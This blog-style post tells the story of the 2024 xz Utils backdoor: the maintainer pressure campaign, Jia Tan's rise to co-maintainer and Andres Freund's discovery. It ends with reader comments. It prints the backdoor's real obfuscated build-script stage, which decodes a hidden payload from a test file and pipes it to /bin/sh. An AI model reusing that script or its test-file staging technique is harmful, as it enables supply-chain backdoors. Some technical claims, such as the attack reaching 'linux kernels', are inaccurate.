To start with, I decided to switch things up. Hopefully by now, as the attack was discovered about two weeks ago - 29 March 2024. You know what happened. But how is the big question. So that’s what I will be focusing on. This includes a timeline throughout the three years of this whole incident, and what led to this attack.
Notice.
it’s worth mentioning that although the attack shipped to unstable linux kernels, xz also ships with homebrew by default. That said, the latest and stable version is 5.4.6. Which means there's no threat involved.
Now.. Who shaped the future of open source? At the moment it’s unclear who’s really behind the user JiaT75 also known as Jia Cheong Tan. But Brian Krebs made a brilliant observation, revealing it’s most likely a group working together. But why don’t we start from the beginning, going back to the year 2005.
2005.
Lasse Collin entered the scene, along with a few others, including Mikko Pouru, H. Peter Anvin and Alexandre Sauvé. They started on what eventually became the .xz format. xz could at the time compress files to about 70% of what gzip did, thanks to the liblzma compression library, this made it widely popular among the linux community.
29. October 2021
At this point Jia Tan pops up, and the first thing we see from him is an innocuous patch to the xz repository, and while a lot of people believe he started out trying his luck with another library also known as libarchive, this is not the case, I would bet it’s more of a backup looking at the dates, being that there are a few days in between as shown in this commit.
And while this back and forth had been going on for about six months between Jia Tan and Lasse Collin merging his PR’s, back in April 2022, we suddenly got to meet Jigar Kumar, as he plays an important role in all of this.
22. april 2022.
Now. Who is Jigar Kumar? Popping up out of nowhere, and is believed to be a persona that emerged from the very same room as JiaT75. And although this is merely speculative, it ties in with Jia Tan’s next phase. We start to see a pattern as an email thread was discovered between Lasse Collin and Jigar Kumar, and it clearly shows how Lasse Collin was being pressured into giving up the xz project.
19. May 2022
The thread starts off with a message by Dennis Ens, asking if the library is still maintained, referring to the xz for java library.
“Is XZ for Java still maintained? I asked a question here a week ago and have not heard back. When I view the git log I can see it has not updated in over a year”
And just one hour later, Lasse Collin replies, and it turns out it's much worse than we thought. Maintaining two relatively large projects definitely isn't easy, and it’s clear that new features aren't coming any time soon.
“Yes, by some definition at least, like if someone reports a bug it will get fixed. Development of new features definitely isn't very active. :-(“
Lasse Collin then ends the reply by acknowledging all the work Jia Tan had been doing.
“Jia Tan has helped me off-list with XZ Utils and he might have a bigger role in the future at least with XZ Utils. It's clear that my resources are too limited (thus the many emails waiting for replies) so something has to change in the long term.”
At this point we finally meet Jigar Kumar. But instead he starts rambling on about how Lasse Collin isn't doing enough on the xz project as a whole.
“Progress will not happen until there is new maintainer. … The
current maintainer lost interest or doesn't care to maintain anymore. It is sad to see for a repo like this.”
From here on it doesn't get any better, the pressure not just from Jigar Kumar but also Dennis Ens starts asking for more.
”I am sorry about your mental health issues, but its important to be aware of your own limits. I get that this is a hobby project for all contributors, but the community desires more”
And finally Lasse Collin ends the thread, calling out Jia Tan, apparently already being acknowledged as a maintainer of the xz library.
”Jia Tan may have a bigger role in the project in the future. He has been helping a lot off-list and is practically a co-maintainer already. :-)”
To me this thread paints a good picture of how the community wants a change in gear. It's also clear that passing on the project to a more active contributor was on Lasse Collin’s mind.
Jia Tan is now a maintainer - 28. October 2022
Jia Tan gets added to the Tukaani organization on Github, communicating trust throughout the community, but it does not imply any special access just yet.
I think it’s important that we acknowledge just how bad Lasse Collin was feeling, about this whole - him not doing enough. For the xz project. hence the scream for help. The following year 2023, Jia Tan and Lasse Collin began sharing emails that turned this into much more than just a few contributions. The decisions to move the website onto Github pages giving even more control over to whomever contributes.
“I'm saying this as Jia Tan changed the game of open source, and it needs to be addressed.”
23. February 2024
The secret backdoor gets merged, and is introduced through binary test files. And while it’s common for projects like this to include tests, we unfortunately turned a blind eye and Jia Tan took advantage of that. A day passed and on February 24 Jia Tan tags and builds v5.6.0.
“Now I couldn't find the original post by Rich Jones, so take this next part with a grain of salt.”
It’s now or never. Jia Tan starts messaging Rich Jones to push Fedora 40, because why not use the latest version. You might ask, what is Fedora 40? - Well. It turns out to be a really fast linux based operating system, set to release just a few hours ago - 16 April.
9. March 2024
About two weeks later, Jia Tan decided that v5.6.0 wasn’t good enough, this decision introduced build v5.6.1, and for some reason had a new backdoor, but how they differ is still unknown.
At this point I think I’ve delayed what we're all here for, right?
So how did Jia Tan do it? And what does it look like?
####Hello####
#��Z�.hj�
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####
By itself, this shell command doesn't do much, and while I could try and explain how it all works, I'm not gonna pretend to be an expert on this matter, but that said, I am willing to shorten the story.
If you're interested in a full explanation, Low Level Learning has a really good video.
So the short version of the attack really comes down to splitting the backdoor into multiple parts of the library. And what eventually gets bundled together at build time, by this shell script, making it harder to detect.
Attack detected - 28. March 2024
By pure accident and a new version later, we finally get to meet Andres Freund, which in German translates to friend, fitting as he saved the internet. Andres Freund an engineer at Microsoft who went over micro-benchmarking to reduce noise, turns out sshd was taking a lot of CPU despite immediately failing because of wrong usernames and passwords.
sshd for those who don’t know. It is what listens to incoming connections using the ssh protocol, and if continued to stay, it would surely break a lot of things, as ssh is used by everyone to do end-to-end encryption. On the 29 March Andres Freund went on to post the backdoor to the oss-security@openwall list, that ended it all, and especially for the person behind Jia Tan.
So to wrap this up.
The question still lies, why? But one thing is for sure, they did change open source, forever.
Top comments (3)
Wow! What an incredible story. 🤯
As a nontechie, I'm still a bit mixed up on things but lemme try to sum it up and you tell me if I'm wrong.
It sounds like the maintainer of xz project, Lasse Collin, was having trouble keeping up with maintaining the project and after pressure from the community they brought on another maintainer Jia Cheong Tan. One member of the community who was pressuring was Jigar Kumar who likely seems to be an actor pushing for Jia Cheong Tan to get on board so that they could set up this attack.
Once Jia Cheong is on board they try to sneak this backdoor trap into place amongst other changes, but Andres Freund caught them and let everybody know what's up before too many problems were able to occur.
Does that check out, haha?
That’s exactly how it went. 😀 HEHE.
The way you just summed it up like that. I’m amazed.
Haha woot! Thanks for confirming for me. 🙌